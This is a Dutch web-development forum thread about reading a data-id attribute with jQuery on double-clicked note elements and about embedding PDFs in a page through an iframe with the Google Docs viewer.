1 2 3 4 5 6 7 8 | <div class="note grey" style="left:343px;top:284px;z-index:43" data-id="32"> Test test Test test Test test Test test <div class="author">Henk de Tank</div> </div> <div class="note red" style="left:629px;top:0px;z-index:45" data-id="31"> Doet ie het? <div class="author">Einzzzstein</div> </div> |
1 2 3 | $("div.note").dblclick(function(event) { alert($(event).data("id")); }) |
Nu ook een iFrame maar wel met de API van Google. Die doet het ook in Firefox, waar Firefox zonder plugins normaal vraagt of je de PDF wil openen of downloaden, in plaats van tonen op de pagina. Alle Internet Explorers ondersteunen de Google Docs API en Firefox, Chrome en Safari werken ook prima dus ik vind het mooi zo.quote:Op vrijdag 7 december 2012 15:29 schreef KomtTijd... het volgende:
Iframe is helemaal niet zo gek. Gewoon door de pdf-reader van de gebruiker af laten handelen.
Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft.
$(this) werkt sowieso wel mooi voor dit soort dingen.quote:Op zaterdag 8 december 2012 11:55 schreef picodealion het volgende:
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).
this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
Thanks en ook nog bedankt voor de uitleg.quote:Op zaterdag 8 december 2012 11:55 schreef picodealion het volgende:
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).
this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
Forum Opties | |
---|---|
Forumhop: | |
Hop naar: |